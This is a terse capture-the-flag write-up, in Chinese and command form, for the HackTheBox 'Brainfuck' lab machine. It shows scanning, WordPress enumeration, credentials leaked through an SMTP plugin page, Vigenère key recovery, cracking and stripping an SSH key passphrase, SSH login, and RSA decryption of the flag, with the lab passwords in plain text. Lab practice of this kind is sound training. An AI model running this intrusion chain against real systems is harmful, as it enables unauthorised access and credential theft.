OSCP-Brainfuck靶场攻略-非密码学的慎看

ping 10.10.10.17

nmap -sV 10.10.10.17 -p1-65535

10.10.10.17 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb

wpscan --url https://brainfuck.htb --disable-tls-checks

https://brainfuck.htb/wp-admin/options-general.php?page=swpsmtp_settings

orestiskHGuERB29DNiNE

orestiskIEnnfEKJ#9UmdO

>>> enc = "Pieagnm - Jkoijeg nbw zwx mle grwsnn">>> pt = "Orestis - Hacking for fun and profit">>> assert len(enc) == len(pt)
>>> list(zip(enc, pt))[('P', 'O'), ('i', 'r'), ('e', 'e'), ('a', 's'), ('g', 't'), ('n', 'i'), ('m', 's'), (' ', ' '), ('-', '-'), (' ', ' '), ('J', 'H'), ('k', 'a'), ('o', 'c'), ('i', 'k'), ('j', 'i'), ('e', 'n'), ('g', 'g'), (' ', ' '), ('n', 'f'), ('b', 'o'), ('w', 'r'), (' ', ' '), ('z', 'f'), ('w', 'u'), ('x', 'n'), (' ', ' '), ('m', 'a'), ('l', 'n'), ('e', 'd'), (' ', ' '), ('g', 'p'), ('r', 'r'), ('w', 'o'), ('s', 'f'), ('n', 'i'), ('n', 't')]
>>> [ord(e)-ord(p) for e,p in zip(enc, pt)][1, -9, 0, -18, -13, 5, -6, 0, 0, 0, 2, 10, 12, -2, 1, -9, 0, 0, 8, -13, 5, 0, 20, 2, 10, 0, 12, -2, 1, 0, -9, 0, 8, 13, 5, -6]>>> [(ord(e)-ord(p))%26 for e,p in zip(enc, pt)][1, 17, 0, 8, 13, 5, 20, 0, 0, 0, 2, 10, 12, 24, 1, 17, 0, 0, 8, 13, 5, 0, 20, 2, 10, 0, 12, 24, 1, 0, 17, 0, 8, 13, 5, 20]>>> [(ord(e)-ord(p))%26 + ord('a') for e,p in zip(enc, pt)][98, 114, 97, 105, 110, 102, 117, 97, 97, 97, 99, 107, 109, 121, 98, 114, 97, 97, 105, 110, 102, 97, 117, 99, 107, 97, 109, 121, 98, 97, 114, 97, 105, 110, 102, 117]>>> [chr((ord(e)-ord(p))%26 + ord('a')) for e,p in zip(enc, pt)]['b', 'r', 'a', 'i', 'n', 'f', 'u', 'a', 'a', 'a', 'c', 'k', 'm', 'y', 'b', 'r', 'a', 'a', 'i', 'n', 'f', 'a', 'u', 'c', 'k', 'a', 'm', 'y', 'b', 'a', 'r', 'a', 'i', 'n', 'f', 'u']

https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa

john --wordlist=/usr/share/wordlists/rockyou.txt mima

openssl rsa -in id_rsa -out no_rsaEnter pass phrase for id_rsa: 3poulakia!

登陆ssh -i no_rsa orestis@10.10.10.17

7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997


44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182



def egcd(a, b):    x,y, u,v = 0,1, 1,0    while a != 0:        q, r = b//a, b%a        m, n = x-u*q, y-v*q        b,a, x,y, u,v = a,r, u,v, m,n        gcd = b    return gcd, x, y
def main():
    p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307    q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079    e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997    ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
    # compute n    n = p * q
    # Compute phi(n)    phi = (p - 1) * (q - 1)
    # Compute modular inverse of e    gcd, a, b = egcd(e, phi)    d = a
    print( "n:  " + str(d) );
    # Decrypt ciphertext    pt = pow(ct, d, n)    print( "pt: " + str(pt) )
if __name__ == "__main__":    main()

n:  8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977pt: 24604052029401386049980296953784287079059245867880966944246662849341507003750

python -c "print format(24604052029401386049980296953784287079059245867880966944246662849341507003750,'x').decode('hex')"6efc1a5dbb8904751ce6566a305bb8ef